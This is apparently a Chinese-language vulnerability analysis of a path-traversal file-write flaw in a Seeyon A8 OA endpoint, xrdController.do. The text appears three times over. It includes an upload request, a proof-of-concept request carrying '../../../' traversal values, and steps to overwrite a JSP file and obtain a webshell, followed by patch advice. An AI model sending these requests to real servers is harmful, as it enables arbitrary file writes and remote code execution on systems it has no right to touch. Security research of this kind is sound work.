某远oa-xrdController.do后台-文件复制漏洞分析
字数 1162
更新时间 2025-12-30 12:17:17

某远OA xrdController.do后台文件复制漏洞分析

漏洞概述

某远OA系统xrdController.do接口存在文件复制漏洞,攻击者可通过构造特定参数实现任意文件写入,在特定条件下可导致远程代码执行。

漏洞补丁信息

官方补丁地址:https://service.seeyon.com/patchtools/tp.html#/patchList?type=安全补丁&id=135

影响版本:某远A8-v8.2SP1及之前版本

漏洞复现环境

  • 某远A8-v8.2SP1
  • 需要登录凭证

漏洞详细分析

1. 漏洞位置

漏洞位于xrdController.do控制器的checkIsSign方法中,主要问题在于对fileName参数处理不当。

2. 漏洞代码分析

补丁前后对比

漏洞版本

// 直接通过HTTP参数拼接路径,未进行安全过滤
String fileName = request.getParameter("fileName");
String copyPath = file.getParent() + File.separator + "xrd" + File.separator + fileName;

修复版本

// 使用规范化路径处理,防止目录穿越
fileName = (new File(Strings.getCanonicalPath(fileName))).getName();

3. 参数构造分析

请求参数要求:

  • summaryId:任意值(如123)
  • attList:格式为{fildData[0]}${fildData[1]},其中:
    • fildData[0]:文件ID(通过文件上传获取)
    • fildData[1]:文件名(可包含路径穿越字符)

文件上传获取fileId:

POST /seeyon/fileUpload.do?method=processUpload&type=0&firstSave=true&inputId=localImport&applicationCategory=1&extensions=txt&quantity=1&maxSize=52428800&isEncrypt=false&popupTitleKey=&attachmentTrId=poiLocalImport&callMethod=localImportPortalPackgeCallBack HTTP/1.1
Host: 192.168.81.194
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryD4liNoBEBG7u06fv
Cookie: [有效会话Cookie]

------WebKitFormBoundaryD4liNoBEBG7u06fv
Content-Disposition: form-data; name="upload"; filename="333.txt"
Content-Type: text/plain

123123
------WebKitFormBoundaryD4liNoBEBG7u06fv--

4. 漏洞利用原理

关键代码路径:

String copyPath = file.getParent() + File.separator + "xrd" + File.separator + fileName;
CtpLocalFile output = new CtpLocalFile(copyPath + File.separator + fileName);

路径穿越分析:

  1. 正常情况:输入/../../../Apa/web1/test

    • 输出路径:/see/ba/temp/xr/../../../Apa/web1/test/../../../Apa/web1/test
    • 最终路径:/see/Apa/web1/test
  2. 特殊限制:由于路径拼接方式,穿越层级受到限制,最多只能回退3级目录。

5. 绕过技术

文件覆盖技术:

通过指定已存在的文件路径进行覆盖,避免创建新文件夹的限制:

  • 如果目标文件不存在,系统会先创建文件夹再创建文件
  • 如果目标文件已存在,直接进行文件覆盖

RCE实现条件:

  1. 找到Web目录中未被访问过的JSP文件
  2. 通过文件覆盖写入恶意JSP代码
  3. 访问该JSP文件触发代码执行
  4. 注意:某远OA的Web目录不支持热加载,已访问过的JSP文件有缓存

6. 漏洞利用POC

GET /seeyon/xrdController.do?method=checkIsSign&summaryId=123&attList={文件ID}${../../../路径/文件名} HTTP/1.1
Host: 目标服务器
RequestType: AJAX
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
Cookie: [有效会话Cookie]

7. 漏洞验证结果

成功实现任意文件写入,在特定条件下可获取Webshell实现远程代码执行。

防护建议

  1. 及时安装官方安全补丁
  2. 对用户输入的路径参数进行规范化处理和严格验证
  3. 实施最小权限原则,限制Web应用的文件系统访问权限
  4. 定期进行安全审计和漏洞扫描

技术要点总结

  1. 漏洞根源:未对用户输入的fileName参数进行安全过滤
  2. 利用关键:通过目录穿越实现任意文件写入
  3. 绕过技巧:利用文件覆盖机制突破路径限制
  4. RCE条件:需要结合Web目录特性和文件覆盖技术

免责声明:本文仅用于安全研究和教育目的,禁止用于非法攻击活动。

某远OA xrdController.do后台文件复制漏洞分析

漏洞概述

某远OA系统xrdController.do接口存在文件复制漏洞,攻击者可通过构造特定参数实现任意文件写入,在特定条件下可导致远程代码执行。

漏洞补丁信息

官方补丁地址:https://service.seeyon.com/patchtools/tp.html#/patchList?type=安全补丁&id=135

影响版本:某远A8-v8.2SP1及之前版本

漏洞复现环境

  • 某远A8-v8.2SP1
  • 需要登录凭证

漏洞详细分析

1. 漏洞位置

漏洞位于xrdController.do控制器的checkIsSign方法中,主要问题在于对fileName参数处理不当。

2. 漏洞代码分析

补丁前后对比

漏洞版本

// 直接通过HTTP参数拼接路径,未进行安全过滤
String fileName = request.getParameter("fileName");
String copyPath = file.getParent() + File.separator + "xrd" + File.separator + fileName;

修复版本

// 使用规范化路径处理,防止目录穿越
fileName = (new File(Strings.getCanonicalPath(fileName))).getName();

3. 参数构造分析

请求参数要求:

  • summaryId:任意值(如123)
  • attList:格式为{fildData[0]}${fildData[1]},其中:
    • fildData[0]:文件ID(通过文件上传获取)
    • fildData[1]:文件名(可包含路径穿越字符)

文件上传获取fileId:

POST /seeyon/fileUpload.do?method=processUpload&type=0&firstSave=true&inputId=localImport&applicationCategory=1&extensions=txt&quantity=1&maxSize=52428800&isEncrypt=false&popupTitleKey=&attachmentTrId=poiLocalImport&callMethod=localImportPortalPackgeCallBack HTTP/1.1
Host: 192.168.81.194
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryD4liNoBEBG7u06fv
Cookie: [有效会话Cookie]

------WebKitFormBoundaryD4liNoBEBG7u06fv
Content-Disposition: form-data; name="upload"; filename="333.txt"
Content-Type: text/plain

123123
------WebKitFormBoundaryD4liNoBEBG7u06fv--

4. 漏洞利用原理

关键代码路径:

String copyPath = file.getParent() + File.separator + "xrd" + File.separator + fileName;
CtpLocalFile output = new CtpLocalFile(copyPath + File.separator + fileName);

路径穿越分析:

  1. 正常情况:输入/../../../Apa/web1/test

    • 输出路径:/see/ba/temp/xr/../../../Apa/web1/test/../../../Apa/web1/test
    • 最终路径:/see/Apa/web1/test
  2. 特殊限制:由于路径拼接方式,穿越层级受到限制,最多只能回退3级目录。

5. 绕过技术

文件覆盖技术:

通过指定已存在的文件路径进行覆盖,避免创建新文件夹的限制:

  • 如果目标文件不存在,系统会先创建文件夹再创建文件
  • 如果目标文件已存在,直接进行文件覆盖

RCE实现条件:

  1. 找到Web目录中未被访问过的JSP文件
  2. 通过文件覆盖写入恶意JSP代码
  3. 访问该JSP文件触发代码执行
  4. 注意:某远OA的Web目录不支持热加载,已访问过的JSP文件有缓存

6. 漏洞利用POC

GET /seeyon/xrdController.do?method=checkIsSign&summaryId=123&attList={文件ID}${../../../路径/文件名} HTTP/1.1
Host: 目标服务器
RequestType: AJAX
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
Cookie: [有效会话Cookie]

7. 漏洞验证结果

成功实现任意文件写入,在特定条件下可获取Webshell实现远程代码执行。

防护建议

  1. 及时安装官方安全补丁
  2. 对用户输入的路径参数进行规范化处理和严格验证
  3. 实施最小权限原则,限制Web应用的文件系统访问权限
  4. 定期进行安全审计和漏洞扫描

技术要点总结

  1. 漏洞根源:未对用户输入的fileName参数进行安全过滤
  2. 利用关键:通过目录穿越实现任意文件写入
  3. 绕过技巧:利用文件覆盖机制突破路径限制
  4. RCE条件:需要结合Web目录特性和文件覆盖技术

免责声明:本文仅用于安全研究和教育目的,禁止用于非法攻击活动。

某远OA xrdController.do后台文件复制漏洞分析 漏洞概述 某远OA系统xrdController.do接口存在文件复制漏洞,攻击者可通过构造特定参数实现任意文件写入,在特定条件下可导致远程代码执行。 漏洞补丁信息 官方补丁地址 :https://service.seeyon.com/patchtools/tp.html#/patchList?type=安全补丁&id=135 影响版本 :某远A8-v8.2SP1及之前版本 漏洞复现环境 某远A8-v8.2SP1 需要登录凭证 漏洞详细分析 1. 漏洞位置 漏洞位于 xrdController.do 控制器的 checkIsSign 方法中,主要问题在于对 fileName 参数处理不当。 2. 漏洞代码分析 补丁前后对比 漏洞版本 : 修复版本 : 3. 参数构造分析 请求参数要求: summaryId :任意值(如123) attList :格式为 {fildData[0]}${fildData[1]} ,其中: fildData[0] :文件ID(通过文件上传获取) fildData[1] :文件名(可包含路径穿越字符) 文件上传获取fileId: 4. 漏洞利用原理 关键代码路径: 路径穿越分析: 正常情况 :输入 /../../../Apa/web1/test 输出路径: /see/ba/temp/xr/../../../Apa/web1/test/../../../Apa/web1/test 最终路径: /see/Apa/web1/test 特殊限制 :由于路径拼接方式,穿越层级受到限制,最多只能回退3级目录。 5. 绕过技术 文件覆盖技术: 通过指定已存在的文件路径进行覆盖,避免创建新文件夹的限制: 如果目标文件不存在,系统会先创建文件夹再创建文件 如果目标文件已存在,直接进行文件覆盖 RCE实现条件: 找到Web目录中未被访问过的JSP文件 通过文件覆盖写入恶意JSP代码 访问该JSP文件触发代码执行 注意 :某远OA的Web目录不支持热加载,已访问过的JSP文件有缓存 6. 漏洞利用POC 7. 漏洞验证结果 成功实现任意文件写入,在特定条件下可获取Webshell实现远程代码执行。 防护建议 及时安装官方安全补丁 对用户输入的路径参数进行规范化处理和严格验证 实施最小权限原则,限制Web应用的文件系统访问权限 定期进行安全审计和漏洞扫描 技术要点总结 漏洞根源:未对用户输入的fileName参数进行安全过滤 利用关键:通过目录穿越实现任意文件写入 绕过技巧:利用文件覆盖机制突破路径限制 RCE条件:需要结合Web目录特性和文件覆盖技术 免责声明 :本文仅用于安全研究和教育目的,禁止用于非法攻击活动。